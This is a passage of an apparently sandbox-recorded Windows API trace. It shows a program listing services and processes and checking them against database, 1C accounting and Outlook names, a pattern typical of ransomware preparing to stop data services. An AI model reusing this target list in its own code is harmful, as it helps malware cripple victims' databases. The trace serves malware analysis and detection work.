hSCManager=0x8ffaf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0049.489] GetLastError () returned 0xea [0049.489] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0049.489] EnumServicesStatusExW (in: hSCManager=0x8ffaf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0049.490] CloseServiceHandle (hSCObject=0x8ffaf0) returned 1 [0049.490] lstrlenW (lpString="Appinfo") returned 7 [0049.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.490] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.490] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.490] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.490] lstrlenW (lpString="AudioSrv") returned 8 [0049.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.490] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.490] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.490] lstrlenW (lpString="BFE") returned 3 [0049.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.490] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.490] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.491] lstrlenW (lpString="CryptSvc") returned 8 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.491] lstrlenW (lpString="CscService") returned 10 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.491] lstrlenW (lpString="DcomLaunch") returned 10 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.491] lstrlenW (lpString="Dhcp") returned 4 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.491] lstrlenW (lpString="Dnscache") returned 8 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.491] lstrlenW (lpString="DPS") returned 3 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.491] lstrlenW (lpString="eventlog") returned 8 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.491] lstrlenW (lpString="EventSystem") returned 11 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.491] lstrlenW (lpString="gpsvc") returned 5 [0049.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.491] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.491] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.492] lstrlenW (lpString="iphlpsvc") returned 8 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.492] lstrlenW (lpString="LanmanServer") returned 12 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.492] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.492] lstrlenW (lpString="lmhosts") returned 7 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.492] lstrlenW (lpString="MMCSS") returned 5 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.492] lstrlenW (lpString="MpsSvc") returned 6 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.492] lstrlenW (lpString="Netman") returned 6 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.492] lstrlenW (lpString="netprofm") returned 8 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.492] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.492] lstrlenW (lpString="NlaSvc") returned 6 [0049.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.492] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.493] lstrlenW (lpString="nsi") returned 3 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.493] lstrlenW (lpString="PcaSvc") returned 6 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.493] lstrlenW (lpString="PlugPlay") returned 8 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.493] lstrlenW (lpString="Power") returned 5 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.493] lstrlenW (lpString="ProfSvc") returned 7 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.493] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.493] lstrlenW (lpString="RpcSs") returned 5 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.493] lstrlenW (lpString="SamSs") returned 5 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.493] lstrlenW (lpString="Schedule") returned 8 [0049.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.494] lstrlenW (lpString="SENS") returned 4 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.494] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.494] lstrlenW (lpString="Spooler") returned 7 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.494] lstrlenW (lpString="swprv") returned 5 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0049.494] lstrlenW (lpString="SysMain") returned 7 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.494] lstrlenW (lpString="Themes") returned 6 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.494] lstrlenW (lpString="TrkWks") returned 6 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.494] lstrlenW (lpString="UxSms") returned 5 [0049.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.494] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.494] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.494] lstrlenW (lpString="VSS") returned 3 [0049.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.495] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.495] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.495] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.495] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.495] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.495] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.495] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.495] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.495] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.495] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.495] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.495] lstrlenW (lpString="Winmgmt") returned 7 [0049.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.495] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.495] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.495] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.495] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0049.495] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0049.498] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.498] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.499] lstrlenW (lpString="System") returned 6 [0049.499] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.499] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.499] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.499] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.499] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.499] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.499] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.499] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.499] lstrlenW (lpString="smss.exe") returned 8 [0049.499] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.499] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.499] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.499] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.499] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.499] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.499] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.499] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.500] lstrlenW (lpString="csrss.exe") returned 9 [0049.500] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.500] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.500] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.500] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.500] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.500] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.500] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.500] lstrlenW (lpString="wininit.exe") returned 11 [0049.500] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.500] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.500] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.501] lstrlenW (lpString="csrss.exe") returned 9 [0049.501] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, 